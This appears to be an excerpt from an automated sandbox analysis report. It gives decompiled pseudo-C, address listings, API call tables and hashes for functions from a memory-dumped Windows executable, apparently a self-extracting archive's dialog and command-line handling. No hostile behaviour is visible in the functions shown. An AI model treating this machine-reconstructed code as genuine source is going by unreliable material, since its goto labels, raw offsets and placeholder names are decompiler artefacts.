						if( *((intOrPtr*)(_t140 + 0x38)) == 0) {
							_t51 =  *(_t140 + 8) & 0x0000001c;
							__eflags = _t51 - 4;
							if(_t51 == 4) {
								_push(0x65);
								_push(GetModuleHandleW(0));
								L39:
								_t53 = LoadIconW();
								__eflags = _t53;
								if(_t53 == 0) {
									L41:
									 *((intOrPtr*)(_t140 + 0x30)) = 0;
									E004079B7(_t140, 0x4b1, 0);
									L42:
									__eflags =  *0x42245c & 0x00000008;
									if(( *0x42245c & 0x00000008) == 0) {
										E00407E2D(_t140);
									}
									 *((intOrPtr*)( *_t140 + 0x28))();
									 *((intOrPtr*)( *_t140 + 0x24))();
									L45:
									E004078AD(_t140, _t135);
									return 0;
								}
								 *((intOrPtr*)(_t140 + 0x30)) = 1;
								SendMessageW(GetDlgItem( *(_t140 + 4), 0x4b1), 0x172, 1, _t53);
								goto L42;
							}
							__eflags = _t51 - 8;
							if(_t51 == 8) {
								_push(0x7f02);
								L34:
								_push(0);
								goto L39;
							}
							__eflags = _t51 - 0xc;
							if(_t51 == 0xc) {
								_push(0x7f01);
								goto L34;
							}
							__eflags = _t51 - 0x10;
							if(_t51 == 0x10) {
								_push(0x7f04);
								goto L34;
							}
							__eflags = _t51 - 0x14;
							if(_t51 != 0x14) {
								goto L41;
							}
							_push(0x7f03);
							goto L34;
						}
						_t143 = 5;
						_push(_t143);
						_push( *(_t140 + 4));
						while(1) {
							_t102 = GetWindow();
							if(_t102 == 0) {
								goto L19;
							}
							E00404B33(_t102);
							_push(2);
							_push(_t102);
						}
						while(1) {
							L19:
							_push(_t143);
							_push( *(_t140 + 4));
							while(1) {
								_t103 = GetWindow();
								if(_t103 == 0) {
									break;
								}
								_t67 = E00404BA4(_t103);
								__eflags = _t67;
								if(_t67 != 0) {
									goto L19;
								}
								_push(2);
								_push(_t103);
							}
							_push(_t143);
							_push( *(_t140 + 4));
							while(1) {
								_t104 = GetWindow();
								if(_t104 == 0) {
									break;
								}
								E00403B31(_t104);
								_push(2);
								_push(_t104);
							}
							if(( *0x42245c & 0x00000008) == 0) {
								E00407E2D(_t140);
							}
							goto L45;
						}
					}
					_t75 = _t71 - 1;
					if(_t75 == 0) {
						_t129 = 0x1a;
						E00408530(_t140, 0x4b4, E00403CE0(_t129));
						E004079B7(_t140, 0x4b3, 0);
						E00407790(_t140, 0x4b4);
						goto L15;
					}
					if(_t75 != 1) {
						goto L15;
					}
					_t133 = 0x19;
					E00408530(_t140, 0x4b3, E00403CE0(_t133));
					_push(0x1a);
					L14:
					_pop(_t113);
					E00408530(_t140, 0x4b4, E00403CE0(_t113));
					goto L15;
				}
			}

0x00408e57
0x00408e67
0x00408e69
0x00408e75
0x00408e94
0x00408e98
0x00408e9d
0x00408eaf
0x00408eb3
0x00408eb5
0x00408eb5
0x00408ec9
0x00408ed2
0x00408ed2
0x00408ee9
0x00408ef5
0x00408f01
0x00408f14
0x00408f2c
0x00408f38
0x00408f42
0x00408f42
0x00408f4b
0x00408f4b
0x00408f5d
0x00408f67
0x00408f74
0x00408f76
0x00408ff1
0x00408fff
0x00409004
0x00000000
0x00408f78
0x00408f78
0x00408f79
0x00408fcd
0x00408fdb
0x00408fe8
0x00409019
0x0040901c
0x0040908f
0x00409092
0x00409095
0x004090c8
0x004090d1
0x004090d2
0x004090d2
0x004090d8
0x004090da
0x004090fc
0x00409104
0x00409107
0x0040910c
0x0040910c
0x00409113
0x00409117
0x00409117
0x00409120
0x00409127
0x0040912a
0x0040912c
0x00409139
0x00409139
0x004090ee
0x004090f4
0x00000000
0x004090f4
0x00409097
0x0040909a
0x004090c1
0x004090b0
0x004090b0
0x00000000
0x004090b0
0x0040909c
0x0040909f
0x004090ba
0x00000000
0x004090ba
0x004090a1
0x004090a4
0x004090b3
0x00000000
0x004090b3
0x004090a6
0x004090a9
0x00000000
0x00000000
0x004090ab
0x00000000
0x004090ab
0x00409026
0x00409027
0x00409028
0x00409037
0x00409039
0x0040903d
0x00000000
0x00000000
0x0040902f
0x00409034
0x00409036
0x00409036
0x0040903f
0x0040903f
0x0040903f
0x00409040
0x00409053
0x00409055
0x00409059
0x00000000
0x00000000
0x00409047
0x0040904c
0x0040904e
0x00000000
0x00000000
0x00409050
0x00409052
0x00409052
0x0040905b
0x0040905c
0x0040906b
0x0040906d
0x00409071
0x00000000
0x00000000
0x00409063
0x00409068
0x0040906a
0x0040906a
0x0040907a
0x00409082
0x00409082
0x00000000
0x0040907a
0x0040903f
0x00408f7b
0x00408f7c
0x00408fa0
0x00408faf
0x00408fbc
0x00408fc4
0x00000000
0x00408fc4
0x00408f7f
0x00000000
0x00000000
0x00408f87
0x00408f95
0x00408f9a
0x00409006
0x00409006
0x00409014
0x00000000
0x00409014

APIs

GetModuleHandleW.KERNEL32(00000000,00000065,000004B7,?,?,?,?,?,00409247), ref: 00408E81
LoadIconW.USER32(00000000), ref: 00408E84
GetSystemMetrics.USER32 ref: 00408E98
GetSystemMetrics.USER32 ref: 00408E9D
GetModuleHandleW.KERNEL32(00000000,00000065,00000001,00000000,?,?,?,?,?,00409247), ref: 00408EA6
LoadImageW.USER32 ref: 00408EA9
SendMessageW.USER32(?,00000080,00000001,?), ref: 00408EC9
SendMessageW.USER32(?,00000080,00000000,00000000), ref: 00408ED2

Part of subcall function 00408530: GetDlgItem.USER32 ref: 00408541
Part of subcall function 00408530: GetWindowTextLengthW.USER32(00000000), ref: 00408544
Part of subcall function 00408530: GetDlgItem.USER32 ref: 00408559

Part of subcall function 004079B7: GetDlgItem.USER32 ref: 004079C4
Part of subcall function 004079B7: ShowWindow.USER32(00000000,?), ref: 004079DB

GetDlgItem.USER32 ref: 00408EEF
GetDlgItem.USER32 ref: 00408EF9
GetWindowLongW.USER32(?,000000F0), ref: 00408F05
SetWindowLongW.USER32 ref: 00408F14
GetDlgItem.USER32 ref: 00408F22
GetDlgItem.USER32 ref: 00408F30
GetWindowLongW.USER32(000000F0,000000F0), ref: 00408F3C
SetWindowLongW.USER32 ref: 00408F4B
GetDlgItem.USER32 ref: 00408F58
GetWindow.USER32(?,00000005), ref: 00409037
GetWindow.USER32(?,00000005), ref: 00409053
GetWindow.USER32(?,00000005), ref: 0040906B
GetModuleHandleW.KERNEL32(00000000,00000065,000004B4,00000000,000004B3,00000000,00000000,?,?,?,?,?,00409247), ref: 004090CB
LoadIconW.USER32(00000000), ref: 004090D2
GetDlgItem.USER32 ref: 004090F1
SendMessageW.USER32(00000000), ref: 004090F4

Memory Dump Source

Source File: 0000000D.00000002.708893020.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.708888095.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000000D.00000002.708910578.000000000041D000.00000002.00020000.sdmp Download File
Associated: 0000000D.00000002.708919422.0000000000422000.00000004.00020000.sdmp Download File
Associated: 0000000D.00000002.708925367.0000000000427000.00000002.00020000.sdmp Download File

Similarity

API ID: ItemWindow$Long$HandleLoadMessageModuleSend$IconMetricsSystem$ImageLengthShowText
String ID:
API String ID: 4137352925-0
Opcode ID: 8ff0e453a25b7ed1698ed8cf16fcb10b98d2a5bb9c502bc786f19c9e8b0db9be
Instruction ID: 74a6605ae4d4b0bf7a0e7ecc706b23d5cc7c3d9f5b8aaf708246ebd2ef89c431
Opcode Fuzzy Hash: 8ff0e453a25b7ed1698ed8cf16fcb10b98d2a5bb9c502bc786f19c9e8b0db9be
Instruction Fuzzy Hash: 6871C7B07447057BEA216B219D46F2B3A99EB84744F10443EF651B62D3CFBDEC018A5E

Uniqueness

Uniqueness Score: -1.00%

Function 00404BA4, Relevance: 35.1, APIs: 16, Strings: 4, Instructions: 115
windowlibrarystringCOMMON

Download Yara Rule

C-Code - Quality: 90%

			E00404BA4(struct HWND__* __ecx) {
				struct HWND__* _v8;
				intOrPtr _v12;
				void* _v16;
				char _v28;
				long _v40;
				intOrPtr _v44;
				intOrPtr _v48;
				int _v52;
				int _v56;
				char _v120;
				signed char _t30;
				struct HWND__* _t33;
				struct HMENU__* _t36;
				struct HWND__* _t53;
				struct HWND__* _t67;

				_t67 = __ecx;
				if(GetClassNameA(__ecx,  &_v120, 0x40) == 0 || lstrcmpiA( &_v120, "STATIC") != 0) {
					L5:
					return 0;
				} else {
					_t30 = GetWindowLongW(_t67, 0xfffffff0);
					_t71 = _t30 & 0x0000000e;
					if((_t30 & 0x0000000e) != 0) {
						goto L5;
					}
					E00404AF5( &_v28, _t67, _t71);
					if(E00403786(_v28, L"{\\rtf", 5) == 0) {
						_t33 = GetParent(_t67);
						_v8 = _t33;
						__eflags = _t33;
						if(_t33 == 0) {
							goto L4;
						}
						LoadLibraryA("riched20");
						E004038D4(_t67,  &_v56);
						_t36 = GetMenu(_t67);
						SetThreadLocale(0x419);
						_t53 = CreateWindowExW(0, L"RichEdit20W", 0x41da3c, 0x50000804, _v56, _v52, _v48 - _v56, _v44 - _v52, _v8, _t36, 0, 0);
						__eflags = _t53;
						if(__eflags == 0) {
							goto L4;
						}
						DestroyWindow(_t67);
						SendMessageW(_t53, 0x459, 0x22, 0);
						SendMessageW(_t53, 0x443, 0, GetSysColor(0xf));
						_v12 = 0xfde9;
						_v16 = 0;
						E0040438B( &_v40,  &_v28, __eflags, 0xfde9);
						SendMessageW(_t53, 0x461,  &_v16, _v40);
						_push(_v40);
						L0041C160();
						_push(_v28);
						L0041C160();
						return _t53;
					}
					L4:
					_push(_v28);
					L0041C160();
					goto L5;
				}
			}

0x00404bb2
0x00404bbe
0x00404c06
0x00000000
0x00404bd3
0x00404bd6
0x00404bdc
0x00404bde
0x00000000
0x00000000
0x00404be5
0x00404bfb
0x00404c0e
0x00404c16
0x00404c19
0x00404c1b
0x00000000
0x00000000
0x00404c22
0x00404c2d
0x00404c33
0x00404c40
0x00404c76
0x00404c78
0x00404c7a
0x00000000
0x00000000
0x00404c7d
0x00404c92
0x00404ca4
0x00404cb2
0x00404cb5
0x00404cb8
0x00404cca
0x00404ccc
0x00404ccf
0x00404cd4
0x00404cd7
0x00000000
0x00404cde
0x00404bfd
0x00404bfd
0x00404c00
0x00000000
0x00404c05

APIs

GetClassNameA.USER32(?,?,00000040), ref: 00404BB6
lstrcmpiA.KERNEL32(?,STATIC,?,?,00000040), ref: 00404BC9
GetWindowLongW.USER32(?,000000F0), ref: 00404BD6

Part of subcall function 00404AF5: GetWindowTextLengthW.USER32(?), ref: 00404B02
Part of subcall function 00404AF5: GetWindowTextW.USER32 ref: 00404B1C

??3@YAXPAX@Z.MSVCRT ref: 00404C00
GetParent.USER32 ref: 00404C0E
LoadLibraryA.KERNEL32(riched20,?,00000005,?,000000F0,?,?,00000040), ref: 00404C22
GetMenu.USER32 ref: 00404C33
SetThreadLocale.KERNEL32(00000419,?,?,00000005,?,000000F0,?,?,00000040), ref: 00404C40
CreateWindowExW.USER32 ref: 00404C70
DestroyWindow.USER32(?,?,?,00000005,?,000000F0,?,?,00000040), ref: 00404C7D
SendMessageW.USER32(00000000,00000459,00000022,00000000), ref: 00404C92
GetSysColor.USER32(0000000F), ref: 00404C96
SendMessageW.USER32(00000000,00000443,00000000,00000000), ref: 00404CA4
SendMessageW.USER32(00000000,00000461,?,?), ref: 00404CCA
??3@YAXPAX@Z.MSVCRT ref: 00404CCF
??3@YAXPAX@Z.MSVCRT ref: 00404CD7

Strings

riched20, xrefs: 00404C1D
STATIC, xrefs: 00404BC0
RichEdit20W, xrefs: 00404C6A
{\rtf, xrefs: 00404BEF

Memory Dump Source

Source File: 0000000D.00000002.708893020.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.708888095.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000000D.00000002.708910578.000000000041D000.00000002.00020000.sdmp Download File
Associated: 0000000D.00000002.708919422.0000000000422000.00000004.00020000.sdmp Download File
Associated: 0000000D.00000002.708925367.0000000000427000.00000002.00020000.sdmp Download File

Similarity

API ID: Window$??3@MessageSend$Text$ClassColorCreateDestroyLengthLibraryLoadLocaleLongMenuNameParentThreadlstrcmpi
String ID: RichEdit20W$STATIC$riched20${\rtf
API String ID: 3514532227-2281146334
Opcode ID: f61e8651b8c318852fd26f465c4723bf904f748a098d933736194205125b4bad
Instruction ID: 653fa6765fec41a2c767cdcafb0f0c5f7003fb3de14a91a34d01aabbe2365a95
Opcode Fuzzy Hash: f61e8651b8c318852fd26f465c4723bf904f748a098d933736194205125b4bad
Instruction Fuzzy Hash: BF3183F1E40119BBDB10ABA5DD49EEFBB7DEF44704F10807AF601B2191DA789A418B6C

Uniqueness

Uniqueness Score: -1.00%

Function 004039F1, Relevance: 31.6, APIs: 21, Instructions: 119
windowCOMMON

Download Yara Rule

C-Code - Quality: 89%

			E004039F1(void* __ecx) {
				struct HDC__* _v8;
				struct HDC__* _v12;
				void* _v16;
				int _v20;
				void* _v24;
				void* _v28;
				int _v44;
				int _v48;
				void _v52;
				struct HDC__* _t37;
				int _t38;
				int _t39;
				int _t62;
				struct HDC__* _t63;

				_v16 = __ecx;
				_t37 = GetWindowDC(0);
				_v8 = _t37;
				_t38 = GetDeviceCaps(_t37, 0x58);
				if(_t38 < 1) {
					_t38 = 0x60;
				}
				_t39 = MulDiv(_t38, 0x64, 0x60);
				if(_t39 < 0x76) {
					if(_t39 <= 0x91) {
						ReleaseDC(0, _v8);
						return CopyImage(_v16, 0, 0, 0, 0);
					}
					goto L6;
				} else {
					if(_t39 > 0x91) {
						L6:
						_push(3);
						_v12 = 2;
						L7:
						_pop(_t62);
						GetObjectW(_v16, 0x18,  &_v52);
						_v24 = MulDiv(_v48, _t62, _v12);
						_v20 = MulDiv(_v44, _t62, _v12);
						_v12 = CreateCompatibleDC(_v8);
						_t63 = CreateCompatibleDC(_v8);
						_v16 = SelectObject(_v12, _v16);
						_v28 = SelectObject(_t63, CreateCompatibleBitmap(_v8, _v24, _v20));
						SetStretchBltMode(_t63, 4);
						StretchBlt(_t63, 0, 0, _v24, _v20, _v12, 0, 0, _v48, _v44, 0xcc0020);
						_v24 = GetCurrentObject(_t63, 7);
						SelectObject(_v12, _v16);
						SelectObject(_t63, _v28);
						DeleteDC(_v12);
						DeleteDC(_t63);
						ReleaseDC(0, _v8);
						return _v24;
					}
					_push(4);
					_v12 = 3;
					goto L7;
				}
			}

0x004039fd
0x00403a00
0x00403a09
0x00403a0c
0x00403a15
0x00403a19
0x00403a19
0x00403a25
0x00403a2a
0x00403a43
0x00403b19
0x00000000
0x00403b26
0x00000000
0x00403a2c
0x00403a31
0x00403a49
0x00403a49
0x00403a4b
0x00403a52
0x00403a52
0x00403a5c
0x00403a6e
0x00403a80
0x00403a88
0x00403a99
0x00403aa0
0x00403ab6
0x00403ab9
0x00403ad8
0x00403aea
0x00403af0
0x00403af6
0x00403b01
0x00403b04
0x00403b0a
0x00000000
0x00403b10
0x00403a33
0x00403a35
0x00000000
0x00403a35

APIs

GetWindowDC.USER32(00000000), ref: 00403A00
GetDeviceCaps.GDI32(00000000,00000058), ref: 00403A0C
MulDiv.KERNEL32(00000000,00000064,00000060), ref: 00403A25
GetObjectW.GDI32(?,00000018,?), ref: 00403A5C
MulDiv.KERNEL32(?,00000003,00000002), ref: 00403A69
MulDiv.KERNEL32(?,00000003,00000002), ref: 00403A75
CreateCompatibleDC.GDI32(?), ref: 00403A83
CreateCompatibleDC.GDI32(?), ref: 00403A8B
SelectObject.GDI32(00000002,?), ref: 00403A9B
CreateCompatibleBitmap.GDI32(?,?,?), ref: 00403AA9
SelectObject.GDI32(00000000,00000000), ref: 00403AB1
SetStretchBltMode.GDI32(00000000,00000004), ref: 00403AB9
StretchBlt.GDI32(00000000,00000000,00000000,?,?,00000002,00000000,00000000,?,?,00CC0020), ref: 00403AD8
GetCurrentObject.GDI32(00000000,00000007), ref: 00403AE1
SelectObject.GDI32(00000002,?), ref: 00403AF0
SelectObject.GDI32(00000000,?), ref: 00403AF6
DeleteDC.GDI32(00000002), ref: 00403B01
DeleteDC.GDI32(00000000), ref: 00403B04
ReleaseDC.USER32 ref: 00403B0A
ReleaseDC.USER32 ref: 00403B19
CopyImage.USER32(?,00000000,00000000,00000000,00000000), ref: 00403B26

Memory Dump Source

Source File: 0000000D.00000002.708893020.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.708888095.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000000D.00000002.708910578.000000000041D000.00000002.00020000.sdmp Download File
Associated: 0000000D.00000002.708919422.0000000000422000.00000004.00020000.sdmp Download File
Associated: 0000000D.00000002.708925367.0000000000427000.00000002.00020000.sdmp Download File

Similarity

API ID: Object$Select$CompatibleCreate$DeleteReleaseStretch$BitmapCapsCopyCurrentDeviceImageModeWindow
String ID:
API String ID: 3462224810-0
Opcode ID: 612ab1c299c70adb56458b05f96c4172f6b033e0d16868d111d26e83d45414ef
Instruction ID: 64add8f3f0553c82617c9ad687e152a2c61f87497f12b8b4a2d195a12937468c
Opcode Fuzzy Hash: 612ab1c299c70adb56458b05f96c4172f6b033e0d16868d111d26e83d45414ef
Instruction Fuzzy Hash: 3941E0B6D00218BFDF119FE1DC48EAEBF79EB08765F108066F601B21A0C7758A51AF64

Uniqueness

Uniqueness Score: -1.00%

Function 004016FE, Relevance: 30.0, APIs: 8, Strings: 9, Instructions: 273
stringCOMMON

Download Yara Rule

C-Code - Quality: 93%

			E004016FE(void* __eflags) {
				signed short* _v8;
				WCHAR* _v12;
				char _v24;
				char _v36;
				char _v48;
				char _v60;
				void* _t65;
				signed int _t69;
				signed int _t70;
				signed int _t71;
				WCHAR* _t92;
				WCHAR* _t95;
				WCHAR* _t96;
				WCHAR* _t97;
				signed int _t99;
				WCHAR* _t103;
				signed short* _t105;
				signed int _t106;
				signed int _t107;
				signed short* _t108;
				signed int _t143;
				signed int _t150;
				char _t151;
				WCHAR* _t164;
				WCHAR* _t167;

				_t167 =  *0x4227cc; // 0x9d2588
				E004147DF(_t65,  &_v24);
				_v8 = _t167;
				_v12 =  &(_t167[lstrlenW(_t167)]);
				_t69 =  *_t167 & 0x0000ffff;
				while(_t69 != 0) {
					__eflags = _t69 - 0x20;
					if(_t69 <= 0x20) {
						_t6 =  &_v8;
						 *_t6 =  &(_v8[1]);
						__eflags =  *_t6;
						_t69 =  *_v8 & 0x0000ffff;
						continue;
					}
					L6:
					while( *_t167 <= 0x20) {
						while(1) {
							_t70 =  *_t167 & 0x0000ffff;
							if(_t70 == 0) {
								break;
							}
							__eflags = _t70 - 0x20;
							if(_t70 <= 0x20) {
								_t167 =  &(_t167[1]);
								__eflags = _t167;
								continue;
							}
							break;
						}
						_t71 =  *_t167 & 0x0000ffff;
						if(_t71 == 0x2f || _t71 == 0x2d) {
							if(_t167[1] == 0x21) {
								_t164 = _t167;
								_t167 =  &(_t167[2]);
								__eflags = _t164;
								if(_t164 == 0) {
									goto L67;
								}
								goto L68;
							} else {
								_t10 =  &(_t167[1]); // 0x9d2588
								if(E00402FEC(_t10, L"ai") == 0) {
									_t12 =  &(_t167[1]); // 0x9d2588
									__eflags = E00402FEC(_t12, L"om");
									if(__eflags == 0) {
										_t14 =  &(_t167[1]); // 0x9d2588
										_t92 = E00402FEC(_t14, L"gm");
										__eflags = _t92;
										if(_t92 == 0) {
											_t17 =  &(_t167[1]); // 0x9d2588
											__eflags = E00402FEC(_t17, L"gf");
											if(__eflags == 0) {
												_t19 =  &(_t167[1]); // 0x9d2588
												__eflags = E00402FEC(_t19, L"mf");
												if(__eflags == 0) {
													_t21 =  &(_t167[1]); // 0x9d2588
													_t95 = E00402FEC(_t21, L"sd");
													__eflags = _t95;
													if(_t95 == 0) {
														_t24 =  &(_t167[1]); // 0x9d2588
														_t96 = E00402FEC(_t24, L"nr");
														__eflags = _t96;
														if(_t96 == 0) {
															_t26 =  &(_t167[1]); // 0x9d2588
															_t97 = E00402FEC(_t26, L"fm");
															__eflags = _t97;
															if(_t97 == 0) {
																_t28 =  &(_t167[1]); // 0x9d2588
																__eflags = E00402FEC(_t28, L"bpt");
																if(__eflags == 0) {
																	_t99 = _t167[1] & 0x0000ffff;
																	__eflags = _t99 - 0x70;
																	if(_t99 == 0x70) {
																		L65:
																		E004147DF(_t99,  &_v36);
																		_t35 =  &(_t167[2]); // 0x9d258a
																		_t38 = E00403022(_t35,  &_v36) - 2; // -2
																		_t167 = _t38;
																		E00414864(0x422708, _v36);
																		_push(_v36);
																		 *0x422700 = 1;
																		L0041C160();
																		continue;
																	} else {
																		__eflags = _t99 - 0x50;
																		if(_t99 == 0x50) {
																			goto L65;
																		} else {
																			__eflags = _t99 - 0x79;
																			if(_t99 == 0x79) {
																				L55:
																				__eflags = _t167[2] - 0x20;
																				if(_t167[2] > 0x20) {
																					goto L57;
																				} else {
																					 *0x4227c9 = 1;
																					continue;
																				}
																			} else {
																				__eflags = _t99 - 0x59;
																				if(_t99 != 0x59) {
																					L57:
																					__eflags = _t99 - 0x3f;
																					if(_t99 == 0x3f) {
																						L60:
																						__eflags = _t167[2] - 0x20;
																						if(_t167[2] > 0x20) {
																							goto L62;
																						} else {
																							 *0x4227cb = 1;
																							continue;
																						}
																					} else {
																						__eflags = _t99 - 0x68;
																						if(_t99 == 0x68) {
																							goto L60;
																						} else {
																							__eflags = _t99 - 0x48;
																							if(_t99 != 0x48) {
																								L62:
																								_t33 =  &(_t167[1]); // 0x9d2588
																								_t103 = E004015B3(_t33);
																								__eflags = _t103;
																								if(_t103 == 0) {
																									goto L67;
																								} else {
																									__eflags = _t103 - 1;
																									if(_t103 == 1) {
																										_t167 = 0;
																										__eflags = 0;
																									} else {
																										_t167 = _t103;
																										continue;
																									}
																								}
																							} else {
																								goto L60;
																							}
																						}
																					}
																				} else {
																					goto L55;
																				}
																			}
																		}
																	}
																} else {
																	_t29 =  &(_t167[4]); // 0x9d258e
																	_t163 = _t29;
																	goto L50;
																}
															} else {
																_t27 =  &(_t167[3]); // 0x9d258c
																_t105 = _t27;
																_t143 =  *_t105 & 0x0000ffff;
																__eflags = _t143 - 0x30;
																if(_t143 < 0x30) {
																	goto L67;
																} else {
																	__eflags = _t143 - 0x39;
																	if(_t143 > 0x39) {
																		goto L67;
																	} else {
																		__imp___wtol(_t105);
																		 *0x422468 = _t105;
																		continue;
																	}
																}
															}
														} else {
															__eflags = _t167[3] - 0x20;
															if(_t167[3] > 0x20) {
																goto L67;
															} else {
																 *0x4227ca = 1;
																continue;
															}
														}
													} else {
														_t22 =  &(_t167[3]); // 0x9d258c
														_t163 = _t22;
														_t106 =  *_t22 & 0x0000ffff;
														__eflags = _t106 - 0x30;
														if(_t106 == 0x30) {
															L39:
															__eflags = _t167[4] - 0x20;
															if(__eflags > 0) {
																goto L67;
															} else {
																goto L50;
															}
														} else {
															__eflags = _t106 - 0x31;
															if(_t106 != 0x31) {
																goto L67;
															} else {
																goto L39;
															}
														}
													}
												} else {
													_t20 =  &(_t167[3]); // 0x9d258c
													_t163 = _t20;
													goto L50;
												}
											} else {
												_t18 =  &(_t167[3]); // 0x9d258c
												_t163 = _t18;
												goto L50;
											}
										} else {
											_t15 =  &(_t167[3]); // 0x9d258c
											_t163 = _t15;
											_t107 =  *_t15 & 0x0000ffff;
											__eflags = _t107 - 0x30;
											if(_t107 < 0x30) {
												goto L67;
											} else {
												__eflags = _t107 - 0x32;
												if(_t107 > 0x32) {
													goto L67;
												} else {
													__eflags = _t167[4] - 0x20;
													if(__eflags > 0) {
														goto L67;
													} else {
														goto L50;
													}
												}
											}
										}
									} else {
										_t13 =  &(_t167[3]); // 0x9d258c
										_t163 = _t13;
										L50:
										E004016A8(_t163, __eflags);
										continue;
									}
								} else {
									_t11 =  &(_t167[3]); // 0x9d258c
									_t108 = _t11;
									_t150 =  *_t108 & 0x0000ffff;
									if(_t150 < 0x30 || _t150 > 0x39) {
										if(_t150 < 0x61 || _t150 > 0x7a) {
											if(_t150 < 0x41 || _t150 > 0x5a) {
												__eflags = _t150 - 0x20;
												if(_t150 > 0x20) {
													goto L67;
												} else {
													 *0x4227c4 = 0x41d648;
													goto L22;
												}
											} else {
												goto L21;
											}
										} else {
											goto L21;
										}
									} else {
										L21:
										 *0x4227c4 = _t108;
										L22:
										 *0x4227c8 = 0x101;
										continue;
									}
								}
							}
						} else {
							L67:
							_t164 = _t167;
							L68:
							__eflags = _v8 - _t164;
							if(__eflags == 0) {
								_t151 = 0x41da3c;
							} else {
								E00414803( &_v60, _v8);
								E004146A6( &_v48, _t164 - _v8 >> 1,  &_v60);
								E00414864( &_v24, _v48);
								_push(_v48);
								L0041C160();
								_push(_v60);
								L0041C160();
								E00414ADC( &_v24);
								E00414AA5( &_v24);
								_t151 = _v24;
							}
							E00404F69(L"SfxVarCmdLine1", _t151, __eflags, 1);
							E00414803( &_v48, _t167);
							E004146A6( &_v60, _v12 - _t167 >> 1,  &_v48);
							E00414864( &_v24, _v60);
							_push(_v60);
							L0041C160();
							_push(_v48);
							L0041C160();
							E00414ADC( &_v24);
							E00414AA5( &_v24);
							E00404F69(L"SfxVarCmdLine2", _v24, __eflags, 1);
						}
						_push(_v24);
						L0041C160();
						return _t167;
					}
					_t167 =  &(_t167[1]);
					__eflags = _t167;
					goto L6;
				}
				goto L6;
			}

0x00401705
0x0040170f
0x00401715
0x00401721
0x00401724
0x00401739
0x00401729
0x0040172d
0x0040172f
0x0040172f
0x0040172f
0x00401736
0x00000000
0x00401736
0x00000000
0x00401743
0x00401754
0x00401754
0x0040175a
0x00000000
0x00000000
0x0040174b
0x0040174f
0x00401751
0x00401751
0x00000000
0x00401751
0x00000000
0x0040174f
0x0040175c
0x00401762
0x00401772
0x004019c8
0x004019ca
0x004019cd
0x004019cf
0x00000000
0x00000000
0x00000000
0x00401778
0x0040177d
0x00401787
0x004017d7
0x004017df
0x004017e1
0x004017f5
0x004017f8
0x004017fd
0x004017ff
0x00401833
0x0040183b
0x0040183d
0x00401851
0x00401859
0x0040185b
0x0040186f
0x00401872
0x00401877
0x00401879
0x004018a6
0x004018a9
0x004018ae
0x004018b0
0x004018ce
0x004018d1
0x004018d6
0x004018d8
0x00401909
0x00401911
0x00401913
0x00401927
0x0040192b
0x0040192e
0x00401990
0x00401993
0x00401998
0x004019ab
0x004019ab
0x004019ae
0x004019b3
0x004019b6
0x004019bd
0x00000000
0x00401930
0x00401930
0x00401933
0x00000000
0x00401935
0x00401935
0x00401938
0x0040193f
0x0040193f
0x00401944
0x00000000
0x00401946
0x00401946
0x00000000
0x00401946
0x0040193a
0x0040193a
0x0040193d
0x00401952
0x00401952
0x00401955
0x00401961
0x00401961
0x00401966
0x00000000
0x00401968
0x00401968
0x00000000
0x00401968
0x00401957
0x00401957
0x0040195a
0x00000000
0x0040195c
0x0040195c
0x0040195f
0x00401974
0x00401974
0x00401977
0x0040197c
0x0040197e
0x00000000
0x00401980
0x00401980
0x00401983
0x00401a27
0x00401a27
0x00401989
0x00401989
0x00000000
0x00401989
0x00401983
0x00000000
0x00000000
0x00000000
0x0040195f
0x0040195a
0x00000000
0x00000000
0x00000000
0x0040193d
0x00401938
0x00401933
0x00401915
0x00401915
0x00401915
0x00000000
0x00401918
0x004018da
0x004018da
0x004018da
0x004018dd
0x004018e0
0x004018e3
0x00000000
0x004018e9
0x004018e9
0x004018ec
0x00000000
0x004018f2
0x004018f3
0x004018fa
0x00000000
0x004018fa
0x004018ec
0x004018e3
0x004018b2
0x004018b2
0x004018b7
0x00000000
0x004018bd
0x004018bd
0x00000000
0x004018bd
0x004018b7
0x0040187b
0x0040187b
0x0040187b
0x0040187e
0x00401881
0x00401884
0x0040188f
0x0040188f
0x00401894
0x00000000
0x0040189a
0x00000000
0x0040189a
0x00401886
0x00401886
0x00401889
0x00000000
0x00000000
0x00000000
0x00000000
0x00401889
0x00401884
0x0040185d
0x0040185d
0x0040185d
0x00000000
0x00401860
0x0040183f
0x0040183f
0x0040183f
0x00000000
0x00401842
0x00401801
0x00401801
0x00401801
0x00401804
0x00401807
0x0040180a
0x00000000
0x00401810
0x00401810
0x00401813
0x00000000
0x00401819
0x00401819
0x0040181e
0x00000000
0x00401824
0x00000000
0x00401824
0x0040181e
0x00401813
0x0040180a
0x004017e3
0x004017e3
0x004017e3
0x0040191d
0x0040191d
0x00000000
0x0040191d
0x00401789
0x00401789
0x00401789
0x0040178c
0x00401792
0x0040179c
0x004017a6
0x004017bd
0x004017c0
0x00000000
0x004017c6
0x004017c6
0x00000000
0x004017c6
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x004017ad
0x004017ad
0x004017ad
0x004017b2
0x004017b2
0x00000000
0x004017b2
0x00401792
0x00401787
0x004019d1
0x004019d1
0x004019d1
0x004019d3
0x004019d3
0x004019d6
0x00401a38
0x004019d8
0x004019de
0x004019f0
0x004019fb
0x00401a00
0x00401a03
0x00401a08
0x00401a0b
0x00401a15
0x00401a1d
0x00401a22
0x00401a22
0x00401a44
0x00401a4d
0x00401a61
0x00401a6c
0x00401a71
0x00401a74
0x00401a79
0x00401a7c
0x00401a86
0x00401a8e
0x00401a9d
0x00401a9d
0x00401a29
0x00401a2c
0x00401a37
0x00401a37
0x00401740
0x00401740
0x00000000
0x00401740
0x00000000

APIs

Part of subcall function 004147DF: ??2@YAPAXI@Z.MSVCRT ref: 004147E7

lstrlenW.KERNEL32(009D2588,?,00422148,?,?,?,?,?,?,?,?,?,?,?,004065BE,?), ref: 00401718

Part of subcall function 00402FEC: lstrlenW.KERNEL32(0041DA80,?,009D2586,?,004227B8,00401785), ref: 00402FFB
Part of subcall function 00402FEC: lstrlenW.KERNEL32(009D2588,?,004227B8,00401785,?,?,?,?,?,?,?,?,?,?,?,004065BE), ref: 00403000
